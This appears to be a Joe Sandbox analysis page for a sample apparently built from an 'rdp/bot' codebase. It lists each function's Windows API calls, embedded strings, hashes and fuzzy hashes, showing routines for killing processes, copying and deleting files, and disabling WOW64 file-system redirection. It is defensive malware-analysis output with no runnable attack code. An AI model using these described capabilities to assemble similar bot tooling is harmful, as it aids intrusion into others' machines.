[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF70489A2E6
ini_get_uint64, xrefs: 00007FF70489A2DF, 00007FF70489A34C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2210897324
Opcode ID: 589a136158d6230515a1194aa1ded0d18727e1947aff480698b1c5f8eabd8088
Instruction ID: 0ec73aee0d6819d65d4991ce573dd4ab387235e3ff8b319d8e81734dba072647
Opcode Fuzzy Hash: 589a136158d6230515a1194aa1ded0d18727e1947aff480698b1c5f8eabd8088
Instruction Fuzzy Hash: B5218222608A8796F355AF56FC80BAAB361BF44784F884432EE4C47794DF7DE8A5C710

Function 00007FF70489A824 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF70489A8CD
VirtualProtect.KERNEL32 ref: 00007FF70489A935
GetLastError.KERNEL32 ref: 00007FF70489A93F

Strings

VirtualProtect failed with code 0x%x, xrefs: 00007FF70489A945
Unknown pseudo relocation protocol version %d., xrefs: 00007FF70489A829
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF70489A8E2
Address %p has no image-section, xrefs: 00007FF70489A885
Mingw-w64 runtime failure:, xrefs: 00007FF70489A7EB

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuery
String ID: Unknown pseudo relocation protocol version %d.$ VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 637304234-2693646698
Opcode ID: 0313bfd795e33c478de3b3b1d00fed192ebc31b1e7fa87f2c769477b445c50a5
Instruction ID: 2059ff460e1d3424c9feeac6a2f123c990abf6a1583e46be0fca4a85c9005a4b
Opcode Fuzzy Hash: 0313bfd795e33c478de3b3b1d00fed192ebc31b1e7fa87f2c769477b445c50a5
Instruction Fuzzy Hash: 1B31A222B05A4242EA04AF16ECC1978A361FF44B84B888935DD1C473E4DF3CF876C350

Function 00007FF704899F70 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 70COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF70489A00E
_errno.MSVCRT ref: 00007FF70489A02C
_errno.MSVCRT ref: 00007FF70489A034

Strings

ini_get_uint16, xrefs: 00007FF704899FED, 00007FF70489A055
(value != NULL), xrefs: 00007FF704899FE6
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF704899FDF
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704899FF4
[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF70489A05C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint16
API String ID: 2918714741-1991603811
Opcode ID: 3920f8d66e3a10739eb1f1376af4a68c38db9251a04340267e2f2ef4fec26f98
Instruction ID: c6ea8aca907176ac568ece3e421fc85e47750a44ff264e0e44b04a4821cfd09d
Opcode Fuzzy Hash: 3920f8d66e3a10739eb1f1376af4a68c38db9251a04340267e2f2ef4fec26f98
Instruction Fuzzy Hash: 3A214F62A08A4792F711AF12ED80FAAA760BF44794F884435EE4C47B94DF7CE9A5C710

Function 00007FF70489255D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF704892487
strcmp.MSVCRT ref: 00007FF7048924CA
OpenProcess.KERNEL32 ref: 00007FF7048924E2
TerminateProcess.KERNEL32 ref: 00007FF7048924FC
GetLastError.KERNEL32 ref: 00007FF70489250A
Process32Next.KERNEL32 ref: 00007FF7048926F5
GetLastError.KERNEL32 ref: 00007FF704892704
CloseHandle.KERNEL32 ref: 00007FF704892895

Strings

, xrefs: 00007FF70489253C
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF70489251C
process_kill, xrefs: 00007FF704892515

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 88c05cf3388c31f6539c777c819c7d3a90aec0ace9ad2e7913c4a6265e0f6128
Instruction ID: fcef8ee9c6ac7b85111d14f3af3749fc48d99a1542dab6aff9d6044288ea6212
Opcode Fuzzy Hash: 88c05cf3388c31f6539c777c819c7d3a90aec0ace9ad2e7913c4a6265e0f6128
Instruction Fuzzy Hash: 8411AF16A09B0366FA647F53ACC0B3AA690AF45785F8C0C75CD0E062D5DF6DFC758220

Function 00007FF704892471 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF704892487
strcmp.MSVCRT ref: 00007FF7048924CA
OpenProcess.KERNEL32 ref: 00007FF7048924E2
TerminateProcess.KERNEL32 ref: 00007FF7048924FC
GetLastError.KERNEL32 ref: 00007FF70489250A
Process32Next.KERNEL32 ref: 00007FF7048926F5
GetLastError.KERNEL32 ref: 00007FF704892704
CloseHandle.KERNEL32 ref: 00007FF704892895

Strings

, xrefs: 00007FF70489253C
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF70489251C
process_kill, xrefs: 00007FF704892515

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 13135dc92655dd0311b3d6bf8182c1d35b336fe44a1bbcbcee5e7a69c6267571
Instruction ID: 423cede8a48fefea5a2354057bf6e0c971d09ed3ad8fb34f0876c4cafb80d5e2
Opcode Fuzzy Hash: 13135dc92655dd0311b3d6bf8182c1d35b336fe44a1bbcbcee5e7a69c6267571
Instruction Fuzzy Hash: BE11AF16A09B0362FA647F53ACC0B3AA690AF45785F8C0C75CD0E066D5DF6DFC758220

Function 00007FF70489246A Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF704892487
strcmp.MSVCRT ref: 00007FF7048924CA
OpenProcess.KERNEL32 ref: 00007FF7048924E2
TerminateProcess.KERNEL32 ref: 00007FF7048924FC
GetLastError.KERNEL32 ref: 00007FF70489250A
Process32Next.KERNEL32 ref: 00007FF7048926F5
GetLastError.KERNEL32 ref: 00007FF704892704
CloseHandle.KERNEL32 ref: 00007FF704892895

Strings

, xrefs: 00007FF70489253C
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF70489251C
process_kill, xrefs: 00007FF704892515

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 428854276a19afd972f6b4d6ee3694a8adab8d34ab153aabfc6d5cf6082bcee5
Instruction ID: 2f165abf989e21611120181e2ad008377361ef6ea3d779a54e7069946dbf93cd
Opcode Fuzzy Hash: 428854276a19afd972f6b4d6ee3694a8adab8d34ab153aabfc6d5cf6082bcee5
Instruction Fuzzy Hash: 0211AF16A09B0366FA647F53ACC0B3AA690AF45785F8C0C75CD0E062D5DF6DFC758220

Function 00007FF704892463 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF704892487
strcmp.MSVCRT ref: 00007FF7048924CA
OpenProcess.KERNEL32 ref: 00007FF7048924E2
TerminateProcess.KERNEL32 ref: 00007FF7048924FC
GetLastError.KERNEL32 ref: 00007FF70489250A
Process32Next.KERNEL32 ref: 00007FF7048926F5
GetLastError.KERNEL32 ref: 00007FF704892704
CloseHandle.KERNEL32 ref: 00007FF704892895

Strings

, xrefs: 00007FF70489253C
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF70489251C
process_kill, xrefs: 00007FF704892515

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: 64c6a43e05c053217d390114a923dfece3a0f6ad1aba6964d62390b6ba7d5058
Instruction ID: bd3fc6c823deddff94a4f4c5fc4a7f8b5ef0e6d16658b8136252f2faa255d325
Opcode Fuzzy Hash: 64c6a43e05c053217d390114a923dfece3a0f6ad1aba6964d62390b6ba7d5058
Instruction Fuzzy Hash: 9911AF16A09B0362FA657F53ACC0B3AA690AF45785F8C0C75CD0E062D5DF6DFC758221

Function 00007FF704895189 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00007FF704895227
GetLastError.KERNEL32 ref: 00007FF704895242

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

Strings

fs_file_copy, xrefs: 00007FF7048951F6, 00007FF704895259, 00007FF7048953A7
[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x), xrefs: 00007FF7048951FD
[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d), xrefs: 00007FF7048953AE
[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu), xrefs: 00007FF704895260
NULL, xrefs: 00007FF704895385, 00007FF704895391

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: CopyErrorFileLastfflushfwrite
String ID: NULL$[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu)$[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d)$fs_file_copy
API String ID: 2887799713-3464183404
Opcode ID: a69eb8bfe6720e7fe071f149a0ba004c6831c9e0fa074345eb1c7da25808f617
Instruction ID: d8bec77612d045ef0e97df815306858e60070c289a66ca4e2c6d6096e74fd3fc
Opcode Fuzzy Hash: a69eb8bfe6720e7fe071f149a0ba004c6831c9e0fa074345eb1c7da25808f617
Instruction Fuzzy Hash: 3941715390DA16A1FA266F57AC80B79D6547F01BCCEDC0932C90F066D4EF9CBEA19321

Function 00007FF704894BBD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 98fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32 ref: 00007FF704894BD4
GetLastError.KERNEL32 ref: 00007FF704894C2B

Strings

[I] (%s) -> Done(path=%s), xrefs: 00007FF704894D70
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894C14
fs_file_delete, xrefs: 00007FF704894C0D, 00007FF704894C39, 00007FF704894D69
[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu), xrefs: 00007FF704894C40
NULL, xrefs: 00007FF704894D5A

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID: NULL$[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[I] (%s) -> Done(path=%s)$fs_file_delete
API String ID: 2018770650-4119452840
Opcode ID: eae0ad0529d85d7c6d721daa2f0adb39329f1e0d04141bbba5f626ec2f22a190
Instruction ID: dd23040084022dbf46e6902405f30b25228f6633ca32dac07346c1aeee266ccf
Opcode Fuzzy Hash: eae0ad0529d85d7c6d721daa2f0adb39329f1e0d04141bbba5f626ec2f22a190
Instruction Fuzzy Hash: 5F31FC19E0CE0655FA607E46ACC0B79A2514F85B44EDD0D32CA1E072D1EF6CBDA69322

Function 00007FF70489749C Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 157stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7048974D6
strlen.MSVCRT ref: 00007FF7048974E1

Strings

str_match, xrefs: 00007FF704897513, 00007FF70489754C, 00007FF704897585
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF70489751A, 00007FF704897553, 00007FF70489758C
(needle != NULL), xrefs: 00007FF70489750C
((match == NULL) || (match_len != NULL)), xrefs: 00007FF70489757E
(pattern != NULL), xrefs: 00007FF704897545
C:/Projects/rdp/bot/codebase/utils.c, xrefs: 00007FF704897505, 00007FF70489753E, 00007FF704897577

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strlen
String ID: ((match == NULL) || (match_len != NULL))$(needle != NULL)$(pattern != NULL)$C:/Projects/rdp/bot/codebase/utils.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$str_match
API String ID: 39653677-892027187
Opcode ID: fafdafe653b9ac92441e29dc3b04a1d9ce8b4508dbd218ce2f7c162b279029fe
Instruction ID: 01a44442677f32bbf80b09a4e593cf657da0b1f66707ad7f38c8deb2e10c4d78
Opcode Fuzzy Hash: fafdafe653b9ac92441e29dc3b04a1d9ce8b4508dbd218ce2f7c162b279029fe
Instruction Fuzzy Hash: B651D152A19993D5FE96BE57AC90FB596517F00B88FCC0832D94E0A2D4DF6CFD318220

Function 00007FF704896C99 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 57stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF704896D12
strlen.MSVCRT ref: 00007FF704896D2E
strcat.MSVCRT ref: 00007FF704896D3D
strlen.MSVCRT ref: 00007FF704896D48

Strings

fs_module_file, xrefs: 00007FF704896CF5
(file_path != NULL), xrefs: 00007FF704896CEE
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF704896CE7
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704896CFC

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strlen$strcat
String ID: (file_path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_module_file
API String ID: 2335785903-2423714266
Opcode ID: e2649656a3eea21e57497fc96b6ce74672c4d11e199c284366f561a3de01ebd7
Instruction ID: 93defa54ecb8ea6a9e297eb6c692c70c44c57ad11dbd06aa87a222d1a932a38c
Opcode Fuzzy Hash: e2649656a3eea21e57497fc96b6ce74672c4d11e199c284366f561a3de01ebd7
Instruction Fuzzy Hash: 00119D62A08A4344FA117F17AC94BB596816F02B88F8C4830EE0D1A2C2FF6DA8348360

Function 00007FF70489CACD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98stringCOMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF70489CB20
fwprintf.MSVCRT ref: 00007FF70489CB34
strlen.MSVCRT ref: 00007FF70489CB9A

Strings

%.*S, xrefs: 00007FF70489CB2D
%-*.*S, xrefs: 00007FF70489CB19
%*.*S, xrefs: 00007FF70489CB10

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fwprintf$strlen
String ID: %*.*S$%-*.*S$%.*S
API String ID: 2636243462-2115465065
Opcode ID: 32549ed93d4336b5084efa2f50b5c29187e804bb01ab93832d870b3eedf07b11
Instruction ID: 303308e4f0bcf797b94b76c40e1813504aefd411357603b6aea83485549dc96f
Opcode Fuzzy Hash: 32549ed93d4336b5084efa2f50b5c29187e804bb01ab93832d870b3eedf07b11
Instruction Fuzzy Hash: D931B662E18A5245E750BE279C80D78F691EF44BA4F88C931DD5D8BBC5DF2EF8208760

Function 00007FF70489385C Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF704891CF4: LoadLibraryA.KERNEL32 ref: 00007FF704891D02

GetLastError.KERNEL32 ref: 00007FF7048938D8

Part of subcall function 00007FF704891C73: GetProcAddress.KERNEL32 ref: 00007FF704891C93

Strings

kernel32, xrefs: 00007FF704893869
Done, xrefs: 00007FF7048938B4
[I] (%s) -> %s, xrefs: 00007FF7048938C2
fs_wow_redir_revert, xrefs: 00007FF7048938BB, 00007FF7048938E1
[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu), xrefs: 00007FF7048938E8
Wow64RevertWow64FsRedirection, xrefs: 00007FF70489387D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProc
String ID: Done$Wow64RevertWow64FsRedirection$[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu)$[I] (%s) -> %s$fs_wow_redir_revert$kernel32
API String ID: 3511525774-1584720945
Opcode ID: fa2267f9570cbef4649007a3857e107e00d478d94a1d7705d6875d883778b630
Instruction ID: fdb5a23c358fe9b2f3edaf27004acc6d405121ded3e38ca296656e32ff8a204b
Opcode Fuzzy Hash: fa2267f9570cbef4649007a3857e107e00d478d94a1d7705d6875d883778b630
Instruction Fuzzy Hash: AB11E861E1CA43A1FA55BF17ACC5BB492506F44309FC80835D80E56AE1EFACF974D320

Function 00007FF7048937C0 Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF704891CF4: LoadLibraryA.KERNEL32 ref: 00007FF704891D02

Part of subcall function 00007FF704891C73: GetProcAddress.KERNEL32 ref: 00007FF704891C93

GetLastError.KERNEL32 ref: 00007FF704893820

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

Strings

fs_wow_redir_disable, xrefs: 00007FF704893803, 00007FF704893829
kernel32, xrefs: 00007FF7048937C4
Done, xrefs: 00007FF7048937FC
[I] (%s) -> %s, xrefs: 00007FF70489380A
Wow64DisableWow64FsRedirection, xrefs: 00007FF7048937D8
